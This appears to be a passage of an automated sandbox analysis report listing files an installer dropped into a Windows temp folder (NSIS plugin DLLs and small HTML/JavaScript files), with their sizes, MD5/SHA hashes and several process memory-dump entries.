C:\Users\Admin\AppData\Local\Temp\nsa13F1.tmp\System.dll

Filesize
22KB

MD5
b361682fa5e6a1906e754cfa08aa8d90

SHA1
c6701aee0c866565de1b7c1f81fd88da56b395d3

SHA256
b711c4f17690421c9dc8ddb9ed5a9ddc539b3a28f11e19c851e25dcfc7701c04

SHA512
2778f91c9bcf83277d26c71118a1ccb0fb3ce50e89729f14f4915bc65dd48503a77b1e5118ce774dea72f5ce3cc8681eb9ca3c55cf90e9f61a177101ba192ae9

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa13F1.tmp\UAC.dll

Filesize
28KB

MD5
d23b256e9c12fe37d984bae5017c5f8c

SHA1
fd698b58a563816b2260bbc50d7f864b33523121

SHA256
ec6a56d981892bf251df1439bea425a5f6c7e1c7312d44bedd5e2957f270338c

SHA512
13f284821324ffaeadafd3651f64d896186f47cf9a68735642cf37b37de777dba197067fbccd3a7411b5dc7976e510439253bd24c9be1d36c0a59d924c17ae8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa13F1.tmp\UserInfo.dll

Filesize
14KB

MD5
610ad03dec634768cd91c7ed79672d67

SHA1
dc8099d476e2b324c09db95059ec5fd3febe1e1e

SHA256
c6c413108539f141bea3f679e0e2ef705898c51ec7c2607f478a865fc5e2e2df

SHA512
18c3c92be81aadfa73884fe3bdf1fce96ccfbd35057600ef52788a871de293b64f677351ba2885c6e9ce5c3890c22471c92832ffc13ba544e9d0b347c5d33bfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa13F1.tmp\WebBrowser.dll

Filesize
103KB

MD5
b53cd4ad8562a11f3f7c7890a09df27a

SHA1
db66b94670d47c7ee436c2a5481110ed4f013a48

SHA256
281a0dc8b4f644334c2283897963b20df88fa9fd32acca98ed2856b23318e6ec

SHA512
bb45d93ed13df24a2056040c219cdf36ee44c8cddb7e178fdaabcec63ac965e07f679ca1fa42591bba571992af619aa1dc76e819a7901709df79598a2b0cef81

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa13F1.tmp\profile_cleanup.html

Filesize
1KB

MD5
1cb97b5f8c5f2728b26742d1d0669899

SHA1
bb5ab1b8c00810fcb18184a996573c5accdc72c3

SHA256
dec82e9caa154300e1aa44f550c16b455a2025be4fb1c3155cb75fe04a6b6611

SHA512
768ed2b070485f3bbcf457aefdc0ef8f1737ad8ac4a2703e2feaff424f9a2c69a2f5928a3be898932ef4976a44ea829a099d090bd9941a24d045d5c8ac8b7b43

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa13F1.tmp\profile_cleanup.js

Filesize
1KB

MD5
d845e8f4c0edb3cab17e6a30090ac5b8

SHA1
654f058570f0868f0acc5f0595147f3385a9c265

SHA256
1adcfdd9768242c6c639b10e4f0bcda24f6a957a169c1dede265e40336ecbd4f

SHA512
401d800c484b74401b90c3285d8b6cc0018baf4979d6ec7bb174f7810d3f60adfa6b4cebeafcee20d5a7c3597447f755af19c5fecf1863e2438fe427dbdf9fed

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa13F1.tmp\stub_common.js

Filesize
815B

MD5
efce3dce0165b3f6551db47e5c0ac8d6

SHA1
1e15f6bb688e3d645092c1aa5ee3136f8de65312

SHA256
dab39cbae31848cce0b5c43fddd2674fef4dea5b7a3dacdaabdc78a8a931817e

SHA512
cec12da07f52822aaed340b1b751153efa43e5c3d747fa39f03bb2800bf53e9416020d654a818a6088acb2cf5581714433d818537f04af150e6bfb6861c03988

Download Submit
memory/3236-17814-0x00007FF65A5B0000-0x00007FF65A749000-memory.dmp

Filesize
1.6MB

Download
memory/3236-22825-0x00007FF65A5B0000-0x00007FF65A749000-memory.dmp

Filesize
1.6MB

Download
memory/17708-22735-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/17708-22824-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/53304-17354-0x0000024EF5E30000-0x0000024EF5E52000-memory.dmp

Filesize
136KB

Download